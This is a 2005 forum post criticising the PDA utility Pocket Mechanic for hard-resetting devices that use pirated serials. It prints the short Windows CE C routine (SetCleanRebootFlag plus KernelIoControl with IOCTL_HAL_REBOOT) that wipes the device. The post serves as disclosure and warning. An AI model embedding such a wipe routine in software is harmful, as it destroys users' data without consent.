View Single Post
Old 01-29-2005, 06:25 PM   #1
TadW
Uebermensch
TadW ought to be getting tired of karma fortunes by now.TadW ought to be getting tired of karma fortunes by now.TadW ought to be getting tired of karma fortunes by now.TadW ought to be getting tired of karma fortunes by now.TadW ought to be getting tired of karma fortunes by now.TadW ought to be getting tired of karma fortunes by now.TadW ought to be getting tired of karma fortunes by now.TadW ought to be getting tired of karma fortunes by now.TadW ought to be getting tired of karma fortunes by now.TadW ought to be getting tired of karma fortunes by now.TadW ought to be getting tired of karma fortunes by now.
 
TadW's Avatar
 
Posts: 2,583
Karma: 1094606
Join Date: Jul 2003
Location: Italy
Device: Kindle
Pocket Mechanic contains malicious code!

After reading this thread at Aximsite where users complain about hard resets invoked by Pocket Mechanic I thought to shed some light on Anton Tomov's crude ways of dealing with software pirates.

I understand that Tomov is upset about people using illegal codes for his software. But does this give him the right to forcefully wipe-out someone's PDA? Isn't that highly illegal as well?

That's right. Use a pirated or blacklisted serial with Pocket Mechanic, Pocket Mechanic will detect it, and send your PDA with all its lovely content to Nirvana land. I don't know what Tomov is thinking, but I can only recommend everyone do not buy any of his products. What if a bug sneaks into his code enabling his hardreset routine even if you are a legal buyer? Who is going to pay for your damages? Mr. Tomov, would that be you?

Technicals:
The hardreset routine Tomov uses looks like the following:
Code:
#include <windows.h>
#include <winioctl.h>
#define IOCTL_HAL_REBOOT CTL_CODE(FILE_DEVICE_HAL, 15, METHOD_BUFFERED, FILE_ANY_ACCESS)
extern "C" __declspec(dllimport)void SetCleanRebootFlag(void);
extern "C" __declspec(dllimport) BOOL KernelIoControl(
	DWORD dwIoControlCode,
	LPVOID lpInBuf,
	DWORD nInBufSize,
	LPVOID lpOutBuf,
	DWORD nOutBufSize,
	LPDWORD lpBytesReturned);

int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance,
	LPTSTR lpCmdLine, int nCmdShow)
{
	SetCleanRebootFlag();
	KernelIoControl(IOCTL_HAL_REBOOT, NULL, 0, NULL, 0, NULL);

	return 0;
}
Perhaps someone should write a small utility that traps calls to KernelIoControl when the IOCTL_HAL_REBOOT flag is set. I cannot understand why Microsoft makes it so easy for virus programmers and people like Tomov to hard reset someone's PDA.
TadW is offline